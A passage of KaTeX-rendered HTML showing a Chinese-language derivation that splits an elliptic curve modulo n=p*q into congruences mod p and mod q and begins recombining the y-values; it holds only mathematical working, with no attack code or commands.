class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.6597200000000001em;vertical-align:-0.19444em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">{</mo><mtable rowspacing="0.24999999999999992em" columnalign="right" columnspacing=""><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><msup><mi>y</mi><mn>2</mn></msup><mo>≡</mo><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mo separator="true">,</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><msup><mi>y</mi><mn>2</mn></msup><mo>≡</mo><msup><mi>x</mi><mn>3</mn></msup><mo>+</mo><mi>a</mi><mi>x</mi><mo>+</mo><mi>b</mi><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>q</mi><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi></mrow></mstyle></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">\left\{\begin{aligned}y^2\equiv x^3 + ax + b\ (Mod\ p), \\y^2\equiv x^3 + ax + b\ (Mod\ q).\end{aligned}\right.</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.048216em;vertical-align:-1.274108em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.774108em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal">b</span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mpunct">,</span></span></span><span style="top:-2.385892em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal">a</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord mathnormal">b</span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span><span class="mord">.</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.274108em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><br />将<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathnormal">x</span></span></span></span>代入两式，求得<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">y_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">y_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，有<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">{</mo><mtable rowspacing="0.24999999999999992em" columnalign="right" columnspacing=""><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><msubsup><mi>y</mi><mn>1</mn><mn>2</mn></msubsup><mo>≡</mo><msup><mi>y</mi><mn>2</mn></msup><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mo separator="true">,</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><msubsup><mi>y</mi><mn>2</mn><mn>2</mn></msubsup><mo>≡</mo><msup><mi>y</mi><mn>2</mn></msup><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>q</mi><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi></mrow></mstyle></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">\left\{\begin{aligned}y_1^2\equiv y^2 (Mod\ p), \\y_2^2\equiv y^2\ (Mod\ q).\end{aligned}\right.</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.048216em;vertical-align:-1.274108em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.774108em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mpunct">,</span></span></span><span style="top:-2.385892em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.4530000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span><span class="mord">.</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.274108em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span><br />对于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">y_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，有<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>y</mi><mn>1</mn><mn>2</mn></msubsup><mo>=</mo><msup><mi>y</mi><mn>2</mn></msup><mo>+</mo><mi>k</mi><mi>p</mi></mrow><annotation encoding="application/x-tex">y_1^2 = y^2 + kp</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0622159999999998em;vertical-align:-0.24810799999999997em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-2.4518920000000004em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.008548em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141079999999999em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">p</span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>y</mi><mn>1</mn></msub><mo>+</mo><mi>y</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><msub><mi>y</mi><mn>1</mn></msub><mo>−</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>k</mi><mi>p</mi></mrow><annotation encoding="application/x-tex">(y_1+y)(y_1-y)=kp</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal">p</span></span></span></span><br />所以<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>1</mn></msub><mo>≡</mo><mi>y</mi><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">y_1 \equiv y\ (Mod\ p)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.65819em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span><br />同理<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>2</mn></msub><mo>≡</mo><mi>y</mi><mtext> </mtext><mo stretchy="false">(</mo><mi>M</mi><mi>o</mi><mi>d</mi><mtext> </mtext><mi>q</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">y_2 \equiv y\ (Mod\ q)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.65819em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace"> </span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord mathnormal">o</span><span class="mord mathnormal">d</span><span class="mspace"> </span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mclose">)</span></span></span></span><br />令前式中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">y_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>y</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">y_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>对应的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.69444em;vertical-align:0em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span>为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">k_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">k_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>=</mo><msub><mi>k</mi><mn>1</mn></msub><mi>p</mi><mo>+</mo><msub><mi>y</mi><mn>1</mn></msub><mo>=</mo><msub><mi>k</mi><mn>2</mn></msub><mi>q</mi><mo>+</mo><msub><mi>y</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">y=k_1p+y_1=k_2q+y_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03148em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>k</mi><mn>1</mn></msub><mi>p</mi><mo>=</mo><msub><mi>k</mi><mn>2</mn></msub><mi>q</mi><mo>+</mo><msub><mi>y</mi><mn>2</mn></msub><mo>−</mo><msub><mi>y</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">k_1p=k_2q+y_2-y_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8888799999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span 